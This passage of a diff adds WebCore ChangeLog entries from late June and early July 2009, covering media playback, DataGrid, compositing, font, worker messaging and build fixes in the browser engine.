+            Rename m_duration to m_reportedDuration. Declare m_cachedDuration.
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+            Rename m_duration to m_reportedDuration. Initialize m_cachedDuration.
+        (WebCore::MediaPlayerPrivate::duration):
+            Return m_cachedDuration once it has been set.
+        (WebCore::MediaPlayerPrivate::updateStates):
+            Rename m_duration to m_reportedDuration.
+        (WebCore::MediaPlayerPrivate::didEnd):
+            Set m_cachedDuration to currentTime().
+
+2009-07-01  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Beth Dakin.
+
+        Bug 26900: AX: Manual spell check with Command-; does not bring up suggestions
+        https://bugs.webkit.org/show_bug.cgi?id=26900
+
+        Editable web areas should have a clickpoint that uses where the selection is.
+
+        Test: accessibility/editable-webarea-context-menu-point.html
+
+        * accessibility/AccessibilityObject.h:
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::clickPoint):
+        * accessibility/AccessibilityRenderObject.h:
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
+
+2009-07-01  David Levin  <levin@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Remove unused code in SVGTransformList and SVGTransformDistance
+        <https://bugs.webkit.org/show_bug.cgi?id=26891>
+
+        * svg/SVGTransformDistance.cpp:
+        (WebCore::SVGTransformDistance::SVGTransformDistance):
+        * svg/SVGTransformList.cpp:
+        * svg/SVGTransformList.h:
+
+2009-07-01  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Anders Carlsson.
+
+        Begin stubbing out functions for layout, painting and style/geometry caching on columns.  Not enough
+        is implemented for this to do much of anything yet, but it should help keep patch sizes down. :)
+
+        * html/DataGridColumn.cpp:
+        (WebCore::DataGridColumn::columnChanged):
+        * html/DataGridColumn.h:
+        (WebCore::DataGridColumn::setId):
+        (WebCore::DataGridColumn::setLabel):
+        (WebCore::DataGridColumn::setType):
+        (WebCore::DataGridColumn::setSortable):
+        (WebCore::DataGridColumn::setSortDirection):
+        (WebCore::DataGridColumn::setColumnList):
+        (WebCore::DataGridColumn::style):
+        (WebCore::DataGridColumn::setStyle):
+        (WebCore::DataGridColumn::rect):
+        (WebCore::DataGridColumn::setRect):
+        * html/DataGridColumnList.cpp:
+        (WebCore::DataGridColumnList::DataGridColumnList):
+        (WebCore::DataGridColumnList::setDataGridNeedsLayout):
+        (WebCore::DataGridColumnList::add):
+        (WebCore::DataGridColumnList::remove):
+        (WebCore::DataGridColumnList::move):
+        (WebCore::DataGridColumnList::clear):
+        (WebCore::DataGridColumnList::primaryColumnChanged):
+        * html/DataGridColumnList.h:
+        (WebCore::DataGridColumnList::create):
+        (WebCore::DataGridColumnList::dataGrid):
+        (WebCore::DataGridColumnList::clearDataGrid):
+        * html/HTMLDataGridColElement.cpp:
+        (WebCore::HTMLDataGridColElement::HTMLDataGridColElement):
+        (WebCore::HTMLDataGridColElement::findDataGridAncestor):
+        (WebCore::HTMLDataGridColElement::insertedIntoTree):
+        (WebCore::HTMLDataGridColElement::removedFromTree):
+        * html/HTMLDataGridColElement.h:
+        (WebCore::HTMLDataGridColElement::dataGrid):
+        * html/HTMLDataGridElement.cpp:
+        (WebCore::HTMLDataGridElement::HTMLDataGridElement):
+        (WebCore::HTMLDataGridElement::~HTMLDataGridElement):
+        * rendering/RenderDataGrid.cpp:
+        (WebCore::RenderDataGrid::styleDidChange):
+        (WebCore::RenderDataGrid::recalcStyleForColumns):
+        (WebCore::RenderDataGrid::recalcStyleForColumn):
+        (WebCore::RenderDataGrid::styleForColumn):
+        (WebCore::RenderDataGrid::layout):
+        (WebCore::RenderDataGrid::layoutColumns):
+        (WebCore::RenderDataGrid::paintColumnHeaders):
+        (WebCore::RenderDataGrid::paintColumnHeader):
+        * rendering/RenderDataGrid.h:
+        (WebCore::RenderDataGrid::renderName):
+        (WebCore::RenderDataGrid::canHaveChildren):
+
+2009-07-01  Daniel Bates  <dbates@intudata.com>
+
+        Reviewed by Adam Barth.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26807
+        
+        Fixes this address by checking whether frame->document()->decoder() is null. 
+
+        * page/XSSAuditor.cpp:
+        (WebCore::XSSAuditor::findInRequest):
+
+2009-07-01  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        Fixes: https://bugs.webkit.org/show_bug.cgi?id=26885
+
+        Correctly reset history length to '0', not '1'. Old relict from early WML days.
+        Add some new WML testcases covering the use of history length (by onenterforward event handling)
+
+        Tests: wml/onenterforward-event.html
+               wml/onenterforward-inline-event.html
+               wml/ontimer-event.html
+ 
+        * wml/WMLPageState.cpp:
+        (WebCore::WMLPageState::reset):
+
+2009-07-01  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Make sure setting attributes on dcol elements properly updates the corresponding DataGridColumn object.
+
+        Added new test in fast/dom/HTMLDataGridElement.
+
+        * html/HTMLDataGridColElement.cpp:
+        (WebCore::HTMLDataGridColElement::parseMappedAttribute):
+        * html/HTMLDataGridColElement.h:
+
+2009-07-01  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Tim Hatcher.
+
+        <rdar://problem/6998524> REGRESSION (r44474): Form text field has focus ring, looks focused,
+        even though the field is not actually focused for keyboard input
+        
+        Add the concept of whether or not the Page is focused by adding a boolean to the focusController.  This allows the
+        focused frame and focused node to both be cached and changed programmatically even when the Page itself doesn't
+        actually happen to have focus at that time.
+
+        * WebCore.base.exp:
+        * page/FocusController.cpp:
+        (WebCore::FocusController::FocusController):
+        (WebCore::FocusController::setFocusedFrame):
+        (WebCore::FocusController::setFocused):
+        (WebCore::FocusController::setActive):
+        * page/FocusController.h:
+        (WebCore::FocusController::isFocused):
+
+2009-07-01  Jakub Wieczorek  <faw217@gmail.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Move some API headers from WebCore.pro to headers.pri so that they
+        get installed when running make install from the build directory.
+
+        * WebCore.pro:
+
+2009-07-01  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Rubber-stamped by Ariya Hidayat.
+
+        Ran WebKitTools/Scripts/generate-qt-inspector-resource to update the
+        qrc file with new png files from the web inspector.
+
+        * inspector/front-end/WebKit.qrc:
+
+2009-06-30  Mark Rowe  <mrowe@apple.com>
+
+        Land some code that has a hope of compiling.
+
+        * platform/graphics/cg/ImageSourceCG.cpp:
+        (WebCore::imageSourceOptions):
+
+2009-06-30  Stephanie Lewis  <slewis@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Flip back on block caching. Throwing away block data, while 
+        a perceived memory win, is a performance hit in cases where we 
+        are repainting large images (i.e. backgrounds) frequently 
+        (i.e. a flash video playing on top).  
+        <rdar://problem/6933515> REGRESSION(L-SL): Large JPEG images are 
+        decoded on drawing, slowing down painting of sites that frequently 
+        repaint e.g. because of Flash (pandora.com, Starcraft 2)
+
+        * platform/graphics/cg/ImageSourceCG.cpp:
+        (WebCore::imageSourceOptions):
+
+2009-06-30  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        - Rename html4.css to html.css, since we target HTML5 now
+        https://bugs.webkit.org/show_bug.cgi?id=26873
+
+        * DerivedSources.make:
+        * GNUmakefile.am:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * css/CSSStyleSelector.cpp:
+        (WebCore::loadFullDefaultStyle):
+        * css/html.css: Copied from css/html4.css.
+        * css/html4.css: Removed.
+        * css/themeWin.css:
+        * platform/Theme.h:
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::adjustMenuListButtonStyle):
+        * rendering/RenderTheme.h:
+
+2009-06-30  Zan Dobersek  <zandobersek@gmail.com>
+
+        Reviewed by Gustavo Noronha.
+
+        [GTK] Drag and drop support
+        https://bugs.webkit.org/show_bug.cgi?id=23642
+
+        Define DragImageRef as GdkPixbuf and implement essential
+        functions which manipulate drag images.
+
+        * platform/DragImage.h:
+        * platform/gtk/DragImageGtk.cpp:
+        (WebCore::dragImageSize):
+        (WebCore::deleteDragImage):
+        (WebCore::scaleDragImage):
+        (WebCore::createDragImageFromImage):
+
+2009-06-30  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        StorageNamespace.cpp build issue
+        https://bugs.webkit.org/show_bug.cgi?id=26859
+
+        Moved #endif //ENABLE(DOM_STORAGE) position
+        so that the build doesn't fail.
+        The namespace WebCore was started after the #if ENABLE(DOM_STORAGE)
+        but closed after the #endif.
+
+        * storage/StorageNamespace.cpp:
+
+2009-06-30  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        <rdar://problem/7020825> HTMLMediaElement should not assume seeking is only possible in 
+        buffered time ranges
+
+        * html/HTMLMediaElement.cpp:
+            Don't ASSERT if the network state goes to Idle when when the ready state is 
+            HaveEnoughData or higher, it is perfectly legal.
+        (WebCore::HTMLMediaElement::setReadyState): 
+            Don't clear m_seeking after posting a 'seeking' event.
+
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::seek):
+            Do nothing when asked to seek to the same time we are already seeking to. Check requested
+            seek time against maxTimeSeekable, not maxTimeLoaded.
+        (WebCore::MediaPlayerPrivate::doSeek):
+            Don't bother stopping a movie that isn't playing. Minor cleanup to make the code more readable.
+        (WebCore::MediaPlayerPrivate::seekTimerFired):
+            Check requested seek time against maxTimeSeekable, not maxTimeLoaded.
+        (WebCore::MediaPlayerPrivate::updateStates):
+            A streaming movie has as much data as it needs once it reaches "playable", so 
+            set the ready state to HaveFutureData. A movie with metadata doesn't drop back 
+            to "have nothing" when seeking. A streaming movie doesn't use the network when paused.
+        (WebCore::MediaPlayerPrivate::timeChanged):
+            It may not be possible to seek to a specific time in a streamed movie but when seeking 
+            in a streaming movie QuickTime sets the time to closest time possible and posts a  
+            timechanged notification, so update m_seekTo so we can detect when the seek completes.
+
+2009-06-30  Steve Falkenburg  <sfalken@apple.com>
+
+        https://bugs.webkit.org/show_bug.cgi?id=26860
+
+        Reviewed by Sam Weinig.
+
+        Blacklist Yahoo Application State plug-in for versions prior to 1.0.0.6.
+        Earlier versions cause corruption crashes.
+
+        * plugins/win/PluginPackageWin.cpp:
+        (WebCore::PluginPackage::isPluginBlacklisted):
+
+2009-06-30  Dean Jackson  <dino@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        <rdar://problem/7005207> <video> in canvas broken with ACCEL_COMPOSITING
+        
+        Fix drawImage of video in CanvasRenderingContext2D when
+        accelerated compositing is enabled. This is done by
+        adding a new paint method to HTMLVideoElement that
+        is only called from canvas, which will create the software
+        renderer if necessary, but otherwise calls the regular
+        paint method. Meanwhile, add logic to the software video
+        renderer so that it can be created without calling repaint
+        every time it sees a new frame.
+        
+        * html/CanvasRenderingContext2D.cpp:
+        (WebCore::CanvasRenderingContext2D::drawImage):
+        * html/HTMLVideoElement.cpp:
+        (WebCore::HTMLVideoElement::paintCurrentFrameInContext):
+        * html/HTMLVideoElement.h:
+        * platform/graphics/MediaPlayer.cpp:
+        (WebCore::MediaPlayer::paintCurrentFrameInContext):
+        * platform/graphics/MediaPlayer.h:
+        * platform/graphics/MediaPlayerPrivate.h:
+        (WebCore::MediaPlayerPrivateInterface::paintCurrentFrameInContext):
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::createQTMovie):
+        (WebCore::MediaPlayerPrivate::createQTVideoRenderer):
+        (WebCore::MediaPlayerPrivate::currentRenderingMode):
+        (WebCore::MediaPlayerPrivate::setUpVideoRendering):
+        (WebCore::MediaPlayerPrivate::tearDownVideoRendering):
+        (WebCore::MediaPlayerPrivate::paintCurrentFrameInContext):
+
+2009-06-30  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Beth Dakin.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26858
+
+        Get <dcol> elements reflected into the datagrid's column list.  Make sure columns get added/removed
+        properly.  (Attribute changes are still not caught.  That is coming in a separate patch.)
+
+        Added fast/dom/HTMLDataGridElement/DataGridColumns-dom.html
+
+        * html/DataGridColumn.h:
+        (WebCore::DataGridColumn::create):
+        (WebCore::DataGridColumn::setColumnList):
+        (WebCore::DataGridColumn::DataGridColumn):
+        * html/DataGridColumnList.cpp:
+        (WebCore::DataGridColumnList::add):
+        (WebCore::DataGridColumnList::remove):
+        (WebCore::DataGridColumnList::clear):
+        * html/DataGridColumnList.h:
+        * html/HTMLDataGridColElement.cpp:
+        (WebCore::HTMLDataGridColElement::HTMLDataGridColElement):
+        (WebCore::HTMLDataGridColElement::findDatagridAncestor):
+        (WebCore::HTMLDataGridColElement::ensureColumn):
+        (WebCore::HTMLDataGridColElement::insertedIntoTree):
+        (WebCore::HTMLDataGridColElement::removedFromTree):
+        (WebCore::HTMLDataGridColElement::sortable):
+        (WebCore::HTMLDataGridColElement::setSortable):
+        * html/HTMLDataGridColElement.h:
+        (WebCore::HTMLDataGridColElement::column):
+        (WebCore::HTMLDataGridColElement::setColumn):
+        (WebCore::HTMLDataGridColElement::datagrid):
+        * html/HTMLDataGridElement.cpp:
+        (WebCore::HTMLDataGridElement::setDataSource):
+        (WebCore::HTMLDataGridElement::dataSource):
+
+2009-06-30  Jeremy Orlow (jorlow@chromium.org)
+
+        Reviewed by David Levin.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26852
+
+        Fix some minor build issues in the v8 bindings.
+
+        * bindings/v8/custom/V8StorageCustom.cpp:
+        (WebCore::V8Custom::v8StorageNamedPropertyEnumerator):
+        (WebCore::storageGetter):
+        (WebCore::storageSetter):
+        (WebCore::storageDeleter):
+        * storage/StorageArea.cpp:
+
+2009-06-30  Adam Langley  <agl@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Chromium Linux: use different fonts for each script run.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26853
+
+        Previously, when rendering complex text, we picked a single font which
+        could render all the glyphs needed for the run. However, this meant
+        that sometimes lines were rendered with, for example, [LATIN, THAI,
+        LATIN] and we could end up with a different font for the Latin parts
+        than for lines without Thai in them.
+
+        With this patch, we pick a font for each script run.
+
+        This change is covered by existing layout tests.
+
+        * platform/graphics/chromium/FontLinux.cpp:
+        (WebCore::Font::drawGlyphs):
+        (WebCore::TextRunWalker::TextRunWalker):
+        (WebCore::TextRunWalker::~TextRunWalker):
+        (WebCore::TextRunWalker::nextScriptRun):
+        (WebCore::TextRunWalker::fontPlatformDataForScriptRun):
+        (WebCore::TextRunWalker::setupFontForScriptRun):
+        (WebCore::TextRunWalker::allocHarfbuzzFont):
+        (WebCore::setupForTextPainting):
+        (WebCore::Font::drawComplexText):
+        (WebCore::Font::floatWidthForComplexText):
+        (WebCore::Font::offsetForPositionForComplexText):
+        (WebCore::Font::selectionRectForComplexText):
+        * platform/graphics/chromium/FontPlatformDataLinux.cpp:
+        (WebCore::FontPlatformData::setupPaint):
+
+2009-06-30  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dave Hyatt, Dan Bernstein.
+        
+        <rdar://problem/6191676> Redraw issues scrolling overflow:scroll div with compositing
+
+        There are two parts to this fix. First, if a compositing layer has overflow clipping
+        or a mask, then the compositing layer does not need to be sized to encompass all
+        non-composited children.
+        
+        Second, when scrolling, we have to back up to the compositing ancestor and have
+        it reposition descendant compositing layers, because overflow doesn't follow
+        the z-order tree.
+        
+        Test: compositing/overflow/overflow-scroll.html
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::layout):
+        Pass the UpdateCompositingLayers flag when updating layers after layout, so that
+        we can reposition compositing layers if we're not about to do a layer rebuild.
+        
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::updateLayerPositions):
+        Only update compositing layers if the flag is set.
+        
+        (WebCore::RenderLayer::scrollToOffset):
+        Do compositing layer updates from the compositing ancestor in one fell swoop.
+
+        * rendering/RenderLayer.h:
+        Replace the unused FullUpdate flag with one that allows us to specify whether
+        compositing layers should be updated.
+        
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::updateAfterLayout):
+        * rendering/RenderLayerBacking.h:
+        New param that we can pass to updateCompositingDescendantGeometry to control
+        whether the update goes deep.
+
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::calculateCompositedBounds):
+        We can return earlier if this is not a self-painting layer.
+        If the layer has overflow clip or a mask, then the composited bounds are just the
+        local bounds, excluding descendants.
+        
+        (WebCore::RenderLayerCompositor::updateCompositingDescendantGeometry):
+        * rendering/RenderLayerCompositor.h:
+        Renamed from updateCompositingChildrenGeometry, and added a flag that allows
+        us to do a deep update.
+
+2009-06-30  Alexey Proskuryakov  <ap@webkit.org>
+
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26764
+        Uncaught NOT_FOUND_ERR: DOMException 8 loading empty text file
+
+        Test: fast/parser/empty-text-resource.html
+
+        * loader/TextDocument.cpp: (WebCore::TextTokenizer::finish): Create document tree if it
+        hasn't been created yet.
+
+2009-06-30  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Renamed scrollbarUnderPoint to scrollbarAtPoint.
+
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::hitTestResultAtPoint):
+        (WebCore::EventHandler::handleMousePressEvent):
+        (WebCore::EventHandler::handleMouseMoveEvent):
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::scrollbarAtPoint):
+        * platform/ScrollView.h:
+        * platform/chromium/PopupMenuChromium.cpp:
+        (WebCore::PopupListBox::handleMouseDownEvent):
+        (WebCore::PopupListBox::handleMouseMoveEvent):
+
+2009-06-30  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        <rdar://problem/6960286> CrashTracer: [REGRESSION] 1120 crashes in Safari at com.apple.WebCore WebCore::JSLazyEventListener::parseCode const 62
+
+        <select> elements and other elements the produce popups can keep their popups
+        live across a page load.  If this occurs and the <select> element has an
+        onchange handler it is possible to get into a state where we try to execute
+        JS on a page that no longer has an execution context. 
+
+        * bindings/js/JSLazyEventListener.cpp:
+        (WebCore::JSLazyEventListener::parseCode):
+          Be paranoid and add a null check, but assert as well because we shouldn't
+          actually get to this point.
+        * rendering/RenderMenuList.cpp:
+        (WebCore::RenderMenuList::valueChanged):
+
+2009-06-30  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by David Levin.
+
+        <https://bugs.webkit.org/show_bug.cgi?id=25435>
+
+        Added support for sending MessagePorts to/from Workers via postMessage().
+
+        * bindings/js/JSWorkerContextCustom.cpp:
+        (WebCore::JSWorkerContext::messageChannel):
+        Exposes MessageChannel constructor WorkerContext.
+        * bindings/js/JSWorkerCustom.cpp:
+        * bindings/v8/custom/V8MessageChannelConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        Now correctly handles being instantiated from within a Worker.
+       * platform/CrossThreadCopier.h:
+        (WebCore::GenericWorkerTaskTraits<PassOwnPtr>):
+        Added support for passing PassOwnPtr as argument to GenericWorkerTask
+       * workers/GenericWorkerTask.h:
+        (WebCore::):
+        * workers/Worker.cpp:
+        (WebCore::Worker::postMessage):
+        Now handles disentangling/entangling MessagePorts sent to/from via postMessage.
+        (WebCore::Worker::dispatchMessage):
+        * workers/Worker.h:
+        * workers/Worker.idl:
+        Added an optional MessagePort argument to postMessage()
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::hasPendingActivity):
+        Workers now report pending activity whenever there are remotely entangled ports.
+        (WebCore::WorkerContext::postMessage):
+        Now handles disentangling/entangling MessagePorts sent to/from via postMessage.
+        (WebCore::WorkerContext::dispatchMessage):
+        * workers/WorkerContext.h:
+        * workers/WorkerContext.idl:
+        Added an optional MessagePort argument to postMessage()
+        * workers/WorkerContextProxy.h:
+        * workers/WorkerMessagingProxy.cpp:
+        Updated messaging infrastructure to transport an optional MessagePort/MessagePortChannel.
+        (WebCore::MessageWorkerContextTask::create):
+        (WebCore::MessageWorkerContextTask::MessageWorkerContextTask):
+        (WebCore::MessageWorkerContextTask::performTask):
+        (WebCore::MessageWorkerTask::create):
+        (WebCore::MessageWorkerTask::MessageWorkerTask):
+        (WebCore::MessageWorkerTask::performTask):
+        (WebCore::WorkerMessagingProxy::postMessageToWorkerObject):
+        (WebCore::WorkerMessagingProxy::postMessageToWorkerContext):
+        * workers/WorkerMessagingProxy.h:
+        Added additional postMessage() API that accepts a MessagePort
+        * workers/WorkerObjectProxy.h:
+        Added additional postMessage() API that accepts a MessagePort
+
+2009-06-30  Adam Langley  <agl@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Chromium: Add complex text support on Linux.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25068
+
+        This patch adds complex text support on Linux using Harfbuzz. It's not
+        the fastest code possible: some caching of font tables will certainly
+        be required. However, it's probably the simplest code that works.
+
+        This will require checking in new baselines in the Chromium tree for
+        those layout tests which now pass.
+
+        * platform/graphics/chromium/FontLinux.cpp:
+        (WebCore::Font::drawGlyphs):
+        (WebCore::truncateFixedPointToInteger):
+        (WebCore::TextRunWalker::TextRunWalker):
+        (WebCore::TextRunWalker::~TextRunWalker):
+        (WebCore::TextRunWalker::reset):
+        (WebCore::TextRunWalker::setXOffsetToZero):
+        (WebCore::TextRunWalker::rtl):
+        (WebCore::TextRunWalker::setBackwardsIteration):
+        (WebCore::TextRunWalker::nextScriptRun):
+        (WebCore::TextRunWalker::glyphs):
+        (WebCore::TextRunWalker::length):
+        (WebCore::TextRunWalker::xPositions):
+        (WebCore::TextRunWalker::advances):
+        (WebCore::TextRunWalker::width):
+        (WebCore::TextRunWalker::logClusters):
+        (WebCore::TextRunWalker::numCodePoints):
+        (WebCore::TextRunWalker::widthOfFullRun):
+        (WebCore::TextRunWalker::allocHarfbuzzFont):
+        (WebCore::TextRunWalker::deleteGlyphArrays):
+        (WebCore::TextRunWalker::createGlyphArrays):
+        (WebCore::TextRunWalker::expandGlyphArrays):
+        (WebCore::TextRunWalker::shapeGlyphs):
+        (WebCore::TextRunWalker::setGlyphXPositions):
+        (WebCore::setupForTextPainting):
+        (WebCore::fontPlatformDataForTextRun):
+        (WebCore::Font::drawComplexText):
+        (WebCore::Font::floatWidthForComplexText):
+        (WebCore::glyphIndexForXPositionInScriptRun):
+        (WebCore::Font::offsetForPositionForComplexText):
+        (WebCore::Font::selectionRectForComplexText):
+        * platform/graphics/chromium/HarfbuzzSkia.cpp: Added.
+        (WebCore::SkiaScalarToHarfbuzzFixed):
+        (WebCore::stringToGlyphs):
+        (WebCore::glyphsToAdvances):
+        (WebCore::canRender):
+        (WebCore::getOutlinePoint):
+        (WebCore::getGlyphMetrics):
+        (WebCore::getFontMetric):
+        (WebCore::harfbuzzSkiaGetTable):
+
+2009-06-30  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        <rdar://problem/7019799> Slow loading MediaDocument can fall back to plug-in unnecessarily
+
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::updateStates):
+            Always fall back to a plug-in if m_hasUnsupportedTracks is set.
+        (WebCore::MediaPlayerPrivate::disableUnsupportedTracks):
+            Set m_hasUnsupportedTracks if we disable a track.
+
+2009-06-30  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Fix inverted if/else that's causing a layout test in src.chromium.org to fail.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26820
+
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::GCPrologueVisitor::visitDOMWrapper): if (port2), not if (!port2).
+
+2009-06-30  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        - fix <rdar://problem/6946611> REGRESSION (r30673): Shade10:" D_Snap
+          to Grid" window is clipping
+
+        Added an app-specific quirk to revert the behavior of <link> elements
+        to the way it was before r30673, namely that if the rel attribute
+        is not "stylesheet" but the type attribute contains "text/css", the
+        link behaves as a stylesheet link.
+
+        * WebCore.base.exp: Exported setTreatsAnyTextCSSLinkAsStylesheet().
+        * html/HTMLLinkElement.cpp:
+        (WebCore::HTMLLinkElement::process): Check
+            Settings::treatsAnyTextCSSLinkAsStylesheet() and if true, allow a
+            style sheet link if the type contains "text/css".
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):
+            Initialize m_treatsAnyTextCSSLinkAsStylesheet.
+        (WebCore::Settings::setTreatsAnyTextCSSLinkAsStylesheet): Added.
+        * page/Settings.h:
+        (WebCore::Settings::treatsAnyTextCSSLinkAsStylesheet): Added.
+
+2009-06-30  Adrien Nader  <camaradetux@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        Fix typo in GNUMakefile.am: it reads WebCOre instead of WebCore.
+
+        * GNUmakefile.am:
+
+2009-06-30  Jan Michael Alonzo  <jmalonzo@webkit.org>
+
+        Reviewed by Xan Lopez.
+
+        [Gtk] Turn on ENABLE_DATAGRID so we can run the layout tests.
+
+        * GNUmakefile.am:
+
+2009-06-30  Raju Kunnath  <raju.kunnath@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        <https://bugs.webkit.org/show_bug.cgi?id=26752>
+
+        [Qt] Windows release build issue with Qt4.5 due to -GL flag on msvc2005 and msvc2008. 
+
+        * WebCore.pro: Removed -GL compiler option for win32-msvc2005|win32-msvc2008.
+
+2009-06-30  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Jan Alonzo.
+
+        Initialize member variables in the right order. Fixes compiler
+        warning.
+
+        * platform/image-decoders/bmp/BMPImageReader.cpp:
+        (WebCore::BMPImageReader::BMPImageReader):
+
+2009-06-29  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by David Levin.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26831
+        Fix compiler warning in WorkerLoaderProxy.h
+
+        Forward declaration of a class within a class is not allowed,
+        since the compiler can't know if the declaration is legal at that
+        point. This gives the following compiler warning:
+
+        ../../WebCore/workers/WorkerLoaderProxy.h:40: warning: declaration
+        "class WebCore::ScriptExecutionContext::Task" does not declare
+        anything
+
+        Include the full ScriptExecutionHeader header instead.
+
+        * workers/WorkerLoaderProxy.h:
+
+2009-06-29  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Jan Alonzo.
+
+        Remove unused function.
+
+        * plugins/gtk/PluginPackageGtk.cpp:
+
+2009-06-29  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Change RenderLayer::updateLayerPositions() to use a bitmask instead of two
+        boolean arguments. FullUpdate is unused at present, but will be used soon.
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::layout):
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::updateLayerPositions):
+        (WebCore::RenderLayer::scrollToOffset):
+        * rendering/RenderLayer.h:
+        (WebCore::RenderLayer::):
+
+2009-06-29  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Fix one more bad merge in V8Proxy.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26819
+
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::setDOMException): setDOMExceptionHelper() instead of convertToV8Object().
+
+2009-06-29  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Mark Rowe.
+
+        Remove more unused scons support.
+
+        * SConstruct: Removed.
+
+2009-06-29  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Dave Hyatt.
+
+        Fix some incorrect create functions.
+
+        * html/DataGridColumn.h:
+        (WebCore::DataGridColumn::create):
+        * html/DataGridColumnList.h:
+        (WebCore::DataGridColumnList::create):
+
+2009-06-29  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Dave Hyatt.
+
+        Remove initialize method from DataGridDataSource and add
+        DOMDataGridDataSource.
+
+        * GNUmakefile.am:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * bindings/js/JSDataGridDataSource.cpp:
+        * bindings/js/JSDataGridDataSource.h:
+        * bindings/js/JSHTMLDataGridElementCustom.cpp:
+        (WebCore::JSHTMLDataGridElement::setDataSource):
+        * html/DOMDataGridDataSource.cpp: Added.
+        (WebCore::DOMDataGridDataSource::DOMDataGridDataSource):
+        (WebCore::DOMDataGridDataSource::~DOMDataGridDataSource):
+        * html/DOMDataGridDataSource.h: Added.
+        (WebCore::DOMDataGridDataSource::create):
+        (WebCore::DOMDataGridDataSource::isDOMDataGridDataSource):
+        (WebCore::asDOMDataGridDataSource):
+        * html/DataGridDataSource.h:
+        (WebCore::DataGridDataSource::isDOMDataGridDataSource):
+        (WebCore::DataGridDataSource::isJSDataGridDataSource):
+        * html/HTMLDataGridElement.cpp:
+        (WebCore::HTMLDataGridElement::HTMLDataGridElement):
+        (WebCore::HTMLDataGridElement::setDataSource):
+        (WebCore::HTMLDataGridElement::dataSource):
+        * html/HTMLDataGridElement.h:
+
+2009-06-29  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Fix a couple of bad merge items from my previous V8Proxy patch.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26813
+
+        * bindings/v8/V8Collection.h:
+        (WebCore::nodeCollectionNamedPropertyGetter):  Fix a bad function name that slipped through.
+        * bindings/v8/V8Proxy.cpp:
